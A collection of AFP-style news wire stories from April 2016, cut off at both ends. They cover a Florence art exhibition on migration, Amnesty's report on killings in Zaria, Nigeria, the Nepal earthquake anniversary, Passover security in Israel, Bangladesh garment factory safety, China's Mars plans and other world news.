In the foreground, two hunting dogs look on languidly, perhaps a little curious but not that interested, as a partly deflated piece of a black rubber dinghy bobs incongruously in the water, like the last remnant of a migrant boat sinking.

"For people in so many parts of the world, Europe is like a promised land," Liu explains. "Even though migration has been an integral part of the history of humanity, this huge wave, this influx of refugees has definitely caused some problems for European society.

"And this image of the deflating dinghy was a way of injecting the problems and the unresolved questions that migration brings into a paradisical, idyllic setting."

Liu said his visits to Prato had left him surprised by the slow pace of its Chinese community's integration into Italian life.

"They have been there mostly for at least a couple of generations and still they are very closed off. They have their own customs and traditions and are still very separate from the local population. This model of migration is also problematic."

The Palazzo Strozzi's director general Arturo Galansino said Liu's work was a long overdue attempt by the art world to make sense of the profound changes brought about by migration without seeking to take sides in the day-to-day political battles over whether Europe should close its frontiers or open its gates.

"The exhibition shows how the artist's eye moved from the local to the international. He wanted to capture what is happening from every possible perspective -- in the streets of Prato, at the main train station in Vienna, in a port in Turkey -- it is all part of one bigger picture.

"He does not make a judgement, he just presents the reality. And that shows us how art can help us to understand something very complex in a new way."

A woman looks at "Chinatown 4" an oil on canvas painting by Chinese artist Liu Xiaodong at the exhibition "Migration" on April 21, 2016 in Florence Gabriel Bouys (AFP)

A man looks at "Chinatown 1" - an oil on canvas painting by Chinese artist Liu Xiaodong in Florence Gabriel Bouys (AFP)
Amnesty accuses Nigeria's military over deadly Shiite clashes

Amnesty International on Friday accused Nigeria's military of deliberately shooting dead more than 350 Shiite Muslims, burying them in mass graves and destroying evidence of the crime.

The rights group also dismissed as baseless army claims that the protesters from the Islamic Movement of Nigeria (IMN) group wanted to kill the head of the army before the clashes last December.

The military, which has been repeatedly accused of abuses against civilians in its fight against Sunni Muslim jihadists Boko Haram, has maintained its troops acted appropriately.

Amnesty International dismissed as baseless army claims that protesters from the Islamic Movement of Nigeria (IMN) group wanted to kill the head of the army before clashes last December Quentin Leboucher (AFP/File)

Defence spokesman Brigadier General Rabe Abubakar said Amnesty's report was "unfair" as the military had not been consulted before its publication.

"If they have proper evidence let them bring it out for all to see. We cannot confront law-abiding citizens," he told AFP.

"Whoever we confronted must have been a criminal and enemy of the state."

There have been fears the military action against the Shiite group in Zaria could trigger another violent uprising similar to that of Boko Haram, whose insurgency has left some 20,000 dead since 2009.

Amnesty's report -- "Unearthing the truth: unlawful killings and mass cover-up in Zaria" -- comes in the wake of conflicting claims about the violence in the northern city.

- Evidence destroyed -

Two days of violence began on December 12 when IMN supporters of the pro-Iranian cleric Ibrahim Zakzaky attending a religious ceremony refused to allow the chief of army staff's convoy to pass.

Amnesty said its investigations indicated the military acted "unlawfully" by shooting "indiscriminately" at unarmed protestors.

"It is not clear why the army launched such a 'military operation' in response to a law and order situation," the report said.

"The Nigerian army has provided no evidence to substantiate its claim that IMN protesters attempted to assassinate the Chief of Army Staff."

It added: "The Nigerian military burned people alive, razed buildings and dumped victims' bodies in mass graves."

Most of the evidence was "meticulously destroyed", Amnesty said, accusing soldiers of trying to cover up the carnage by limiting access to conflict sites.

"Bodies were taken away, sites were razed to the ground, the rubble removed, bloodstains washed off, and bullets and spent cartridges removed from the streets."

Soldiers sealed the areas around Zakzaky's compound, which was destroyed with a cultural centre, and the site of the street protests for several days.

Medical personnel at the Ahmadu Bello University Teaching Hospital said the military cordoned off the area around the morgue for two days.

- Mass grave -

A Nigerian public official said last week that 347 people, including women and children, were buried in a mass grave under military supervision and authorised with a court warrant.

The testimony came at one of several public inquiries set up to investigate the circumstances of the violence, which has led to scores of IMN supporters being charged.

Nigerian media on Thursday said prosecutors in Kaduna were seeking the death penalty for 50 IMN members for killing a soldier in the initial incident in Zaria.

Amnesty provided satellite images purporting to show the location of a "possible mass grave" in the Mando area near the state capital, Kaduna city, approximately 80 kilometres (50 miles) away.

Despite President Muhammadu Buhari's pledge to investigate evidence of war crimes, "to date no concrete steps have been taken to end endemic impunity for such crimes", Amnesty said.

Zakzaky, who lost one eye and was partly paralysed in the violence, has been held incommunicado since December without access to his lawyers until recently.

He has previously fallen foul of Nigeria's secular authorities and been imprisoned for calling for an Iranian-style revolution to create an Islamic state in the north.
Nepal quake in numbers, one year later

A year after a 7.8-magnitude earthquake tore through Nepal, millions of people remain homeless.

Here are some key facts about the quake and the reconstruction effort.

DEATH TOLL: The death toll from the earthquake and its aftershocks stands at 8,959. Another 22,303 people were injured.

A Nepalese woman walks next to damaged homes in Sankhu town in the Kathmandu Valley following a 7.8 magnitude earthquake that struck the Himalayan nation on April 25, 2015 Menahem Kahana (AFP/File)

HOMES DESTROYED: More than one million houses suffered severe damage. The quake destroyed 776,895 houses completely while 298,998 dwellings need repairs.

LOST HERITAGE: 131 historic monuments were reduced to rubble while another 560 structures require repairs. Work on a few sites in the Kathmandu valley has begun, but officials say it will be years before Nepal's rich architectural heritage is restored.

HEALTHCARE: 1,227 health centres were damaged during the quake, severing a lifeline for remote, rural communities. Forty centres have been rebuilt so far, with work in progress on another 100 sites.

SCHOOLS: The disaster destroyed or damaged nearly 8,000 schools, leaving almost one million children without classrooms. A handful of buildings have been repaired but most students still have lessons in bamboo and tin shelters.

ECONOMY: The earthquake caused losses of $7 billion. Nepal's economy is now expected to grow by just 1.5 percent over the financial year ending in July 2016 -- the lowest level since 2007 -- according to the Asian Development Bank (ADB).

FOREIGN AID: International donors, including India, China, the World Bank and the ADB, promised $4.1 billion to aid Nepal's recovery. But the National Reconstruction Authority, the body in charge of spending the funds, was only set up in December. It has since signed agreements to disburse $1.85 billion.

FUNDS RELEASED: Although the government has promised around $2,000 to each household for rebuilding homes, only 641 families have received the first instalment of $500. Most victims have received payouts worth less than $250.
Explosions at chemical storage company in eastern China

A facility storing chemicals and fuel caught fire and was rocked by explosions in the Chinese city of Jingjiang on Friday, the government and reports said, but no casualties were reported.

The blast recalled huge explosions caused by improper storage of chemicals in the northern city of Tianjin last August, when at least 165 people were killed and fears were raised of toxic contamination.

The Jingjiang government said on its verified microblog that the fire, which started at around 9:40 am (0140 GMT), was "under control" with no deaths or injuries.

Map of China locating a chemical warehouse explosion

But it was still burning in the afternoon, according to the official Xinhua news agency and national authorities.

Some 400 firefighters were trying to put out the blaze, fed by petrol storage tanks on the site, the fire department under the Ministry of Public Security said on its microblog.

Jingjiang, in the eastern province of Jiangsu,is located near the north bank of the Yangtze river about 150 kilometres (93 miles) from commercial hub Shanghai.

One photo posted online showed dark clouds of smoke with the fire burning amid what appeared to be storage tanks.

The accident was at the premises of a company called Jiangsu Deqiao Storage, which is authorised to keep hazardous chemicals and fuel, reports said.

Its parent is a Singapore-listed company called Hengyang Petrochemical Logistics. Deqiao's facilities include storage tanks and shipping berths on the Yangtze River, according to Hengyang's website.

Industrial accidents are common in China where safety standards are often lax.

But the massive blast in Tianjin sparked widespread anger over a perceived lack of transparency by officials about its causes and environmental impact.

The findings from a government inquiry into the Tianjin accident released in February recommended 123 people be punished.

The blast, which caused over $1 billion in damages, was caused by improper chemical storage by a company called Tianjin Ruihai International Logistics, which managed to evade safety laws.
Japan's first stealth fighter jet has successfully taken to the skies as the country joins a select group of world military powers wielding the radar-dodging technology.

The X-2 jet took off from Nagoya airport in central Japan on its maiden test flight as dozens of aviation enthusiasts watching the event erupted in applause as it lifted off.

The single-pilot prototype safely landed at Gifu air base, north of Nagoya airport, after a 25-minute flight with 'no particular problems,' said an official at the defence ministry's acquisition agency.

The X-2 jet took off from Nagoya airport in central Japan on its maiden test flight as dozens of aviation enthusiasts watching the event erupted in applause as it lifted off. The single-pilot prototype safely landed at Gifu air base, north of Nagoya airport, after a 25-minute flight with 'no particular problems'

The red and white aircraft was escorted by two Japanese military fighters collecting flight data.

Despite strict constitutional constraints on the use of military force imposed after World War II, Japan has become one of the world's most advanced defense forces.

And the development of the stealth fighter comes as it faces new security challenges in the form of China's expanding force posture.

JAPAN'S X-2 STEALTH JET The X-2 was developed by Mitsubishi Heavy Industries and 200 other firms. It measures 47ft-long (14.2 metres) and 30ft-wide (9.1 metres) wide. The red and white aircraft was built as a successor to F-2 fighter jets developed jointly with the US. Japan began the project in 2009 and has reportedly spent about 39.4 billion yen ($332 million) to develop the aircraft. Advertisement

The inaugural flight, which followed extensive ground tests, had been postponed due to bad weather and malfunctions of parts used in its escape system.

'The first flight has a very significant meaning that can secure technologies needed for future fighter development,' Defence Minister Gen Nakatani told reporters.

'We can also expect it can be applied to other fields and technological innovation in the entire aviation industry,' Nakatani added.

The X-2, developed by Mitsubishi Heavy Industries and 200 other firms, measures 14.2 metres (47 feet) long and 9.1 metres wide and was built as a successor to F-2 fighter jets developed jointly with the United States.

Its delivery to the defence ministry is expected as early as next month and the acquisition agency 'will continue analysing data and check its stealth technology capability,' the agency official told AFP.

The X-2 (pictured) was developed by Mitsubishi Heavy Industries and 200 other firms. It measures 47ft-long (14.2 metres) and 30ft-wide (9.1 metres) wide

The red and white aircraft was escorted by two Japanese military fighters collecting flight data. It was built as a successor to F-2 fighter jets developed jointly with the US. Japan began the project in 2009 and has reportedly spent about 39.4 billion yen ($332 million) to develop the aircraft

Presently, only the United States, Russia and China have been internationally recognised as having successfully developed and flown manned stealth jets, the agency said.

Japan began the project in 2009 and has reportedly spent about 39.4 billion yen ($332 million) to develop the aircraft.

In November Japan's first domestically produced passenger jet, also developed by Mitsubishi Heavy, made its maiden test flight, a landmark development for the country after being barred from developing aircraft following its defeat in World War II.
Edhi, the obstinately humble hero to Pakistan's masses

He created a charitable empire out of nothing, masterminding Pakistan's largest welfare organisation. Today Abdul Sattar Edhi is revered by many as a national hero.

Content with just two sets of clothes, he sleeps in a windowless room of white tiles adjoining the office of his charitable foundation. Sparsely equipped: it has just one bed, a sink and a hotplate.

"He never established a home for his own children," says his wife Bilquis, who manages the foundation's homes for women and children.

Abdul Sattar Edhi (2nd L), founded the Edhi Foundation which is something of a safety net for Pakistan's poor and destitute, mobilising the nation to donate and help take action -- filling a gap left by a lack of welfare state Asif Hassan (AFP)

What he has established is something of a safety net for Pakistan's poor and destitute, mobilising the nation to donate and help take action -- filling a gap left by a lack of welfare state.

"Mr Edhi sits here, waiting for your donations," sputters the speaker of an Edhi ambulance parked in an affluent neighbourhood of Karachi, the port megalopolis of glaring inequalities.

Passers-by deposit alms or pay their respects to the frail old man, whose white beard and worn karakul -- a triangular cap -- are known throughout the country and beyond.

Edhi has been nominated several times for the Nobel Peace Prize, and appears on the list again this year -- put there by Malala Yousafzai, Pakistan's teenage Nobel laureate.

- New nation, new hope -

Edhi, born to a family of Muslim traders in Gujarat in British India, arrived in Pakistan after its bloody creation in 1947.

"He thought that this new Muslim nation would be a social welfare state," says his son Faisal.

But, when they got to Pakistan, he found "it was the exact opposite".

The state's failure to help his struggling family care for his mother -- paralysed and suffering from mental health issues -- was his painful and decisive turning point towards philanthropy.

In the sticky streets in the heart of Karachi, Edhi, full of idealism and hope, opened his first clinic in 1951.

"Social welfare was my vocation, I had to free it," he says in his autobiography, "A Mirror To The Blind".

Motivated by a spiritual quest for justice, over the years Edhi and his team have created maternity wards, morgues, orphanages, shelters, and homes for the elderly -- all aimed at helping those in society who cannot help themselves.

The most prominent symbols of the foundation -- its 1,500 ambulances -- are deployed with unusual efficiency to the scene of terrorist attacks that tear through Pakistan with devastating regularity.

But its ethos of humanitarianism transcending religious and ethnic lines while empowering the masses, has made it the target of many ferocious smear campaigns. Hardliners have branded him an infidel and his work un-Islamic.

Edhi's response has been hard work and an obstinate asceticism, a bid to leave his enemies with no ammunition.

His work so conquered the esteem of Pakistan's masses that armed groups and bandits were known to spare his ambulances.

The annual budget of 1.5 billion rupees ($15 million), mainly from donations by middle- and working-class Pakistanis, continues to grow, according to Faisal, despite criticism from fundamentalist groups eager to snatch such support for themselves.

- Mother Bilquis -

Abandoned children and the elderly, battered women, the disabled, drug addicts; Edhi's foundation now houses some 5,700 people in 17 shelters across the country.

It employs around 3,000 people, many of whom were former residents.

The project Bilquis Edhi is most proud of is the baby cradles adoption service.

In the early days of his work, as Edhi cruised the streets in his ambulance, he was made desperate by the number of infant corpses he came across, many believed abandoned.

Now the foundation has before each centre a large cradle bearing the inscription: "Do not kill innocent babies, leave them in our cradle".

The initiative has earned Edhi further attacks by Islamist extremists who accuse him of promoting extra-marital sex in the conservative Muslim country.

But Bilquis proudly displays photos of now-grown women who are now graduates of prestigious universities.

Several thousand children -- the vast majority of them girls -- left in the cradles over the last four decades have been housed by Edhi centres and adopted, she says.

Without Edhi, "I would have had no life," says Seher, 16, who grew up in the foundation's decrepit headquarters.

"Bilquis and Edhi are there for us round the clock," smiles the girl.

She cares for younger children -- including the small daughter of a thief jailed for the burglary of the foundation in 2014, a crime which caused uproar in Pakistan.

Now frail and weak, Edhi says he is unable to manage his kingdom. He appointed his son Faisal as managing trustee in early 2016.

"I have done a lot of work. I am satisfied with my life," the patriarch sighs.

"He is my hero," says Faisal, adding that stepping into his father's humble but mighty shoes is a "great responsibility".

"We still have so much to do."

A Pakistani motorcyclist pays his respects to Abdul Sattar Edhi (2nd L), the head of Edhi Foundation, as he travels to his office in the port city of Karachi Asif Hassan (AFP)

Abdul Sattar Edhi, the head of Edhi Foundation, speaks with his wife Bilquis Edhi in a bed set up in his office building in the port city of Karachi Asif Hassan (AFP)

Bilquis Edhi (R), wife of Abdul Sattar Edhi, the head of Edhi Foundation, distributes snacks to orphaned children at the charity office in the port city of Karachi Asif Hassan (AFP)
One killed, 8 injured as S. Korea train derails

A South Korean passenger train that took a curved section of track at three times the recommended speed derailed Friday, killing an engineer and injuring eight people, police and rail officials said.

According to the national rail operator, KORAIL, the locomotive and four of the train's seven carriages jumped the tracks near Yulchon station, some 330 kilometres (200 miles) south of Seoul.

The train was carrying 27 people, including two locomotive engineers, one of whom was killed in the accident.

South Korea railway workers struggle to put a derailed passenger train back on track in the southern port city of Yeosu on April 22, 2016

Yonhap news agency quoted police as saying the train was rounding a bend at 127 kilometres per hour, when it should have been moving at less than 50kph.
A year on, millions of Nepal quake survivors wait for aid

A year after an earthquake flattened her home in Nepal, Menuka Rokaya still lives in a tent with her husband and nine-month-old baby as they await even a sliver of a $4 billion aid fund.

"We have lived like this with a baby through monsoon and winter," says Rokaya, one of an estimated four million people who are still homeless.

"The quake spared us, but it is difficult to survive now.

Nearly 9,000 people died in the 2015 Nepal earthquake and more than half a million homes were destroyed Pooja Pant (AFP/File)

"Earlier, many people used to come here to help us. But... they have all disappeared now," she told AFP as she nursed her young daughter.

The world rallied to donate money to help the desperately poor Himalayan nation after the 7.8-magnitude quake struck on April 25 last year.

Nearly 9,000 people lost their lives in the disaster while over half a million homes were destroyed.

But while $4 billion in aid has been raised, wrangling between political parties over control of the funds has meant that most victims have received nothing beyond an initial small payout.

Rokaya, who was six months' pregnant when the quake brought down her home, now lives with her family in a tent that offers little protection from the cold and the rain.

"We haven't heard anything about compensation. We don't have any money, how can we rebuild?," said Rokaya, who lives in a camp near Kathmandu airport.

The family has to survive on the $10 that her husband earns a day as a tea-seller and meals are cooked on a stove inside their tent. They have to wash in a communal toilet on the camp site.

An estimated four million people are still living in sub-standard temporary shelters, according to the International Federation of Red Cross and Red Crescent Societies.

Many were living hand-to-mouth even before the quake, which dealt a huge blow to Nepal's already fragile economy.

To make matters worse, protesters angered by the terms of a new national constitution mounted a blockade at the Indian border -- the main entry point for fuel and other goods -- creating crippling shortages that lasted for months.

Tourism also took a nosedive as prospective visitors cancelled bookings following dozens of deaths in quake-triggered avalanches at Everest base camp and along the popular Langtang trekking route.

- 'Policy vacuum' -

Work has begun on repairing the huge damage done to Nepal's cultural heritage -- a major tourist draw.

The famous royal squares of the Kathmandu Valley reopened to the public last June and masons have begun work on restoring other historic sites including the fifth-century Changu Narayan complex, but officials say it will take years to complete.

After months of bickering, the government finally established a National Reconstruction Authority (NRA) in December to oversee rebuilding and distribute funds.

Until then, rebuilding had effectively been put on hold because the government had instructed people to follow specific quake-resistant designs to qualify for aid -- but had not released the blueprints.

"You had many organisations... willing to support housing reconstruction, but they had to act in a vacuum, a policy vacuum. So they could not start work," said Jennifer Duyne, who heads the international and Nepali donor reconstruction effort.

Even aid organisations that had started to rebuild schools and health facilities were told to pause their efforts until the new body could review them, a process that took months.

And while the government promised $2,000 for every home destroyed, fewer than 700 families have received the first instalment of $500.

NRA chief Sushil Gyewali said the organisation was now "expediting the process" of distributing funds.

But thousands of survivors have chosen to risk losing the government aid, and have instead taken out loans or turned to charities for help.

- 'Things are really bad' -

In Ramechhap district, east of Kathmandu, where 40,000 houses were damaged, Gurkha soldiers have been hard at work breaking rocks and laying down concrete to construct schools and build homes for veterans.

Famed for their ferocity and valour, the 2,500-strong Gurkha brigade largely made up of soldiers recruited mainly in Nepal, has been part of the British army for 200 years and served in Afghanistan and Iraq.

They plan to complete work on 1,200 houses by next year under a scheme run by the Britain-based Gurkha Welfare Trust.

"People are living under very poor conditions, just in a temporary shelter, so things are really bad," said Sergeant Lal Rana.

"We are trying to help, but it won't be enough because people need help all over Nepal."

For farmer Bhoj Raj Sunuwar, the Gurkhas, who arrived in his far-flung village of Bhuji days after the earthquake and before government officials showed up, have been a blessing.

Sunuwar, whose father served with them, has lived with his family in a temporary shelter since the disaster but is now looking forward to having a roof over his head thanks to their help.

"If they were not here we would be forced to spend another year in a shelter," he told AFP.

"I have no hope from the government."

Nepal quake destruction Adrian LEUNG (AFP)

A year after an earthquake flattened her home in Nepal, Menuka Rokaya still lives in a tent with her husband and nine-month-old baby as they await even a sliver of a US$4 billion aid fund Prakash Mathema (AFP)

A Nepalese child runs near earthquake-damaged homes in Dolakha, 130 kilometres east of Kathmandu Prakash Mathema (AFP)
Landslide in northeast India kills 16

A huge landslide hit a camp for construction workers in a remote part of northeast India on Friday, killing at least 16, police said.

Heavy rains triggered the disaster in the Himalayan state of Arunachal Pradesh, which lies on the Tibetan border and is claimed in part by China.

The workers, who were building a hotel, were asleep when the landslide hit their camp in Tawang district, more than 10,000 feet (around 3,000 metres) above sea level.

The landslide hit a workers' camp in Tawang district of northeast India's Arunachal Pradesh state (pictured), more than 10,000 feet (around 3,000 metres) above sea level Diptendu Dutta (AFP/File)

"Sixteen bodies have been recovered by police and emergency workers. One more is feared trapped under the debris," said Anto Alphonse, superintendent of police for Tawang.

"Three labourers survived and have received minor injuries. A total of 20 workers were at the spot when the massive landslide struck the construction site."

India's National Disaster Management Authority said police and soldiers had rushed to the scene.

Landslides are common in the Himalayas, particularly during monsoon season, which begins in June.

In a tweet Prime Minister Narendra Modi expressed "grief on the loss of lives" in the disaster.

Days of incessant rains have caused flood-like situations in many parts of the frontier state, triggering flash floods and landslides.
Israeli officials denied entry to religious compound at Passover

Israeli MPs and ministers have been banned from entering a key religious compound in Jerusalem "for security reasons" during the Jewish Passover festival which begins on Friday, police confirmed.

The compound, known to Muslims as the Al-Aqsa mosque but to Jews as the Temple Mount, is holy to both religions.

Visits by Israeli officials during Jewish holidays are considered provocations by many Palestinians, who fear Israel wants to take control of the third holiest site in Islam.

Ultra-Orthodox Jewish men collect water from a mountain spring during the Maim Shelanu (Rested Water) ceremony near Jerusalem on April 21, 2016 Menahem Kahana (AFP)

The Temple Mount is the holiest site in Judaism.

"The ban on ministers and MPs was decided for security reasons" during the eight-day Passover festival, police spokesman Micky Rosenfeld said, without giving further details.

"However, the visits of tourists and Jewish visitors can continue normally," he said.

Under the current arrangement, Jews are allowed to visit the compound but not pray.

Three "young Jews" who were planning to sacrifice a sheep on the Temple Mount during Passover were arrested on Friday, police announced, saying they "threatened to undermine the peace."

Rosenfeld added that police reinforcements had boosted their presence in Jerusalem during the festival, with a total of 3,500 police on patrol. He declined to say how many of these forces were new.

"These forces are patrolling in all public places, bus stations, shopping malls, tram stations," he said.

During Passover tens of thousands of Jews flock to the Old City of Jerusalem.

Last year 50,000 Jewish worshippers attended a ceremony held in front of the Wailing Wall, which will be held on Sunday this year.

The site is venerated by Jews as a remnant of a wall supporting the Second Temple complex, which was destroyed by the Romans in 70 AD.

The wall is located below the mosque compound in the Old City in Israeli-annexed East Jerusalem.

Israel has also closed off all crossing points between the occupied West Bank and the Gaza Strip to Israeli territory for Friday and Saturday.

Prime Minister Benjamin Netanyahu announced last week Israel would deploy reinforcements around the Temple Mount during Passover to prevent "riots".

"As Passover approaches, all sorts of extremists will spread lies about our policy concerning the Temple Mount," he said.

Tensions are high in Israel following a wave of violence that has killed 201 Palestinians and 28 Israelis since October.

Most of the Palestinians killed were carrying out knife, gun or car-ramming attacks, according to Israeli authorities.

Palestinians argue that Israel is seeking to change the arrangement at the Temple Mount, claims Netanyahu and other ministers have repeatedly denied.
Israel soldier who shot Palestinian allowed home for Passover

An Israeli soldier charged with manslaughter after shooting a prone and wounded Palestinian assailant in the head was released from custody Friday for the Jewish Passover festival, the army said.

"Elor Azria was released home for the Passover holiday," an army statement said.

But the 19-year-old must report back to a military base where he is being detained on Sunday morning after spending time with his family to mark the start of the week-long holiday, the army said.

Elor Azria (C), an Israeli soldier recently charged with manslaughter after shooting a wounded Palestinian assailant in the head, arrives home in the central city of Ramle on April 22, 2016 after he was freed briefly to mark the start of Passover

Azria was warmly greeted by friends and relatives at his home in the central Israeli city of Ramle, where supporters broke out in applause as he arrived.

Passover is a major Israeli holiday that commemorates the Jewish exodus from Egypt in Biblical times.

Azria, who also holds French citizenship, was charged on Monday with manslaughter and unbecoming conduct over the March 24 killing that took place in the southern West Bank city Hebron.

A widely circulated video showed Abdul Fatah al-Sharif, 21, lying on the ground, shot along with another man after stabbing and moderately wounding a soldier minutes earlier, according to the army.

Azria, who was not at the scene during Sharif's attack, then shoots him in the head without any apparent provocation. His lawyers argued he thought the Palestinian was wearing explosives.

The top brass of the Israeli military have condemned his actions, but rightwing politicians have argued he has been unfairly treated.

Earlier this week thousands of people attended a controversial rally in support of him.
Israel blocks off Gaza Strip and West Bank for Passover

Israel has announced the closure of all points of entry between the occupied West Bank, the Gaza strip, and Israeli territory on Friday and Saturday for the Jewish holiday of Passover.

Tensions are high in Israel following a wave of violence that has killed 201 Palestinians and 28 Israelis since October.

The blockade was decided after "an evaluation of the security situation", a military spokesperson told AFP without giving specifics.

Tensions are high in Israel following a wave of violence that has killed 201 Palestinians and 28 Israelis since October Jaafar Ashtiyeh (AFP/File)

The Israeli government regularly closes off access to Israel for Palestinians during major Jewish religious festivals, though exceptions will be made for humanitarian and medical cases, the spokesperson added.

Thousands of Jewish pilgrims flock to Jerusalem and other holy sites during the eight-day holiday of Passover, which commemorates the Jewish exodus from Egypt in Biblical times.

"As Passover approaches, all sorts of extremists will spread lies about our policy concerning the Temple Mount," Israeli Prime Minister Benjamin Netanyahu said last week, referring to a historical site in Jerusalem considered sacred by Jews, Muslims and Christians.

"We will act against these provocateurs by deploying security reinforcements in areas of friction," he said.

Most of the Palestinians killed in recent months were carrying out knife, gun or car-ramming attacks, according to Israeli authorities.

Earlier this week a suicide bus bombing in Jerusalem wounded 20 people, with Israel blaming Hamas, the Islamist rulers of the Gaza Strip.

Many analysts say Palestinian frustration with Israeli occupation and settlement-building in the West Bank, the complete lack of progress in peace efforts and their own fractured leadership have fed the recent unrest.

Israel blames incitement by Palestinian leaders and media as one of the main causes of the violence.
Two Apple services blocked in China

Apple confirmed Friday its iTunes Movies and iBooks service have become unavailable in China, after reports authorities ordered them to be taken offline.

"We hope to make books and movies available again to our customers in China as soon as possible," a spokeswoman for Apple, the US technology giant, said in a statement.

The services, launched less than seven months ago in China, were shut down last week on demand from the State Administration of Press, Publication, Radio, Film and Television, the New York Times cited unnamed sources as saying.

China is a key market for Apple, where its products are widely popular, but it has previously been targeted by state-run media over issues such as service and pricing Johannes Eisele (AFP/File)

Apple did not give a reason for the closedown.

Beijing keeps a tight grip on broadcast, print and online media, while restricting access to foreign websites including Google, Facebook and Twitter with a vast control network dubbed the Great Firewall of China.

Content deemed politically sensitive, violent or morally "unhealthy" is regularly blocked in the country.

China is a key market for Apple, where its products are widely popular, but it has previously been targeted by state-run media over issues such as service and pricing.

State broadcaster CCTV in 2014 accused the California-based company of threatening national security through the iPhone's ability to track a user's location, a threat Apple quickly denied.

The two Apple services compete directly with Chinese firms, New York Times said, suggesting the latest official scrutiny might be driven by government desire to support domestic companies.
'Rana Plazas everywhere': Danger still haunts Bangladesh

As they jostle for space on the floor, with the door to their fire escape padlocked, the seamstresses cannot help but recall the carnage when another of Bangladesh's garment factories collapsed three years ago.

"We always worry what will happen if a blaze breaks out or the building caves in," one woman worker told AFP on condition of anonymity. "We'll just die like the workers of Rana Plaza."

More than 1,100 people died when the Rana Plaza complex collapsed on April 24, 2013, prompting shocked calls for better working conditions in the world's second-largest garment exporter.

A mourner (R) grieves for her relative, missing and presumed dead, at the scene of the 2013 Rana Plaza garment building collapse in Savar, on the outskirts of Dhaka Munir Uz Zaman (AFP/File)

But three years on, only a fraction of Bangladesh's 4,500 clothes factories have been certified safe and experts warn another industrial disaster could happen at any time.

While there have been improvements at some of the larger factories, many of the smaller sub-contractors have yet to be inspected and appear to have done little to address safety concerns.

When an AFP journalist visited one backstreet complex in the Rampura suburb of the capital Dhaka, workers could be seen crammed elbow to elbow on the floor while they stitched tags of Western retailers into garments.

The fire escape stairwell was blocked by a padlocked iron gate, while cigarette butts littered the main passageway floor.

The handful of fire extinguishers around the building, which is yet to be formally inspected, were are all out of date.

"We know our factory is not safe. It is not a compliant factory," said a 25-year-old worker who refused to give her name for fear of losing her job at Style Fashion Ltd, one of four textile firms housed in the complex.

Production manager Mohammad Khairuzzaman said all four factories were subcontractors for local manufacturers and said safety concerns were being addressed.

The fire extinguishers "will be changed very soon," he told AFP, adding that "in the event of an emergency, we'll open the gate," motioning to the bolted fire escape.

- 'Rana Plazas everywhere' -

Bangladesh is second only to China when it comes to clothes exports, shipping $27 billion worth every year and employing some four million people in the industry, mainly women.

But it has a woeful safety track record. A fire at the Tazreen factory in Dhaka in 2012 killed 111 workers, many of whom were unable to escape due to a lack of proper fire exits.

"If they search properly, they'll find Rana Plazas everywhere," said Israfil Hossain, a worker who was trapped in the building's ruins after it collapsed.

For two years after the disaster, the 25-year-old was too traumatised to return to the garment industry but finally took a job in a workshop in a Dhaka flat out of necessity.

"These factories easily get workers like me to do their jobs. After all, we need to buy food to fill our stomachs."

The Rana Plaza tragedy triggered international outrage and put pressure on European and US clothing brands to improve pay and conditions at the factories that supply them.

Bangladesh's government increased garment workers' wages by 76 percent immediately afterwards and improved labour laws to allow a record number of unions into factories.

But the initial push to improve safety standards has wavered, with factory owners dragging their heels on undertaking the expensive repairs deemed necessary by inspectors.

- 'Lucky no one died' -

"A major accident can happen anytime," said Mesbah Rabin, managing director of industry safety monitor group the Alliance for Bangladesh Worker Safety.

"There were several major fires last year. We're lucky no one has died."

The Alliance, a group which represents North American retailers including Gap and Walmart was set up after the disaster, has certified only 24 of the 700 factories it has inspected as safe.

It has cut ties with 77 factories that failed to address safety concerns and asked the government to shut down another 36, but much more remains to be done.

"We are behind schedule and far behind schedule in many factories that were inspected a year or even two years ago," said Rob Wayss, executive director of the Alliance's European sister group Accord.

Bangladesh authorities have said all of the more than 1,500 factories they have inspected required safety improvements and hundreds of other smaller outfits still need to be investigated.

"We don't have funds to inspect these 800 factories, which are not registered with any trade bodies," factory inspection department chief Syed Ahmed told AFP.

Bangladesh's politically powerful manufacturers have pleaded for patience, saying further industry improvements were coming, and pointing to difficulty finding funds as a reason for the delays.

Faruque Hassan, senior vice-president of industry body the Bangladesh Garment Manufacturers and Exporters Association, said the group expects to finish safety upgrades this year.

"We're confident we can complete a majority of the repairs by (the end of) 2016," he said.

Three years on from the Rana Plaza disaster, only a fraction of Bangladesh's 4,500 clothes factories have been certified safe

A poster at the scene of the Rana Plaza building collapse reads "We want a safe work place, not a death trap' Munir Uz Zaman (AFP/File)

Garment worker Israfil Hossain, 25, was rescued from the ruins of Rana Plaza after being trapped in the rubble when the building collapsed Munir Uz Zaman (AFP)

The Rana Plaza building collapse Adrian LEUNG (AFP)
China targets 2020 Mars mission launch: official

China plans to send a rover to Mars to explore the Red Planet, a top space official announced on Friday, in the latest step of its ambitious space programme.

Authorities approved the mission in January, said National Space Administration director Xu Dazhe told a press conference in Beijing, according to a transcript.

The aim was to launch around 2020, he said, calling the timing "a challenge" that would be "a giant leap" for the country's space capabilities.

China is pouring billions into its space programme and working to catch up with the US and Europe, but has already been beaten to Mars by Asian neighbour India HO (USGS/AFP/File)

"What we want to achieve is to orbit Mars, land, and deploy the rover in one mission, which will be quite difficult to achieve."

China is pouring billions into its space programme and working to catch up with the US and Europe, but has already been beaten to Mars by Asian neighbour India, which put a low-cost probe into orbit around the Red Planet in September 2014.

Once on the Martian surface, Xu said, the Chinese rover could study the planet's soil, atmosphere, environment, and look for traces of water.

"Researching these matters is really researching humanity itself and the origins of life," he said, adding: "Only by completing this Mars probe mission can China say it has truly embarked on the exploration of deep space."

China has an ambitious, military-run, multi-billion-dollar space programme that Beijing sees as symbolising the country's progress and a marker of its rising global stature.

China's recent space efforts have been focused on exploring the moon. The nation's first lunar rover -- the Yutu, or Jade Rabbit -- was launched in late 2013, but it has since been beset by mechanical troubles.

By 2018, the country aims to land its Chang'e-4 probe -- named for the moon goddess in Chinese mythology -- on the dark side of the moon.

But for the most part it has so far replicated activities that the US and Soviet Union pioneered decades ago.

The US has landed two rovers on Mars and the former Soviet Union and the European Space Agency have also sent missions to Mars.
Obama wades into UK Brexit debate to eurosceptic fury

US President Barack Obama plunged into Britain's increasingly poisonous EU debate on Friday with a powerful warning against Brexit, arguing that US soldiers had laid down their lives for Europe.

Obama's rare foray into the domestic politics of another country comes ahead of Britain's EU membership referendum in June and drew a furious response from eurosceptics like London Mayor Boris Johnson.

Writing in the Daily Telegraph, a traditional bastion of euroscepticism, Obama argued that Britain's place in the European Union magnified its global influence and invoked the memory of US troops who died in two world wars.

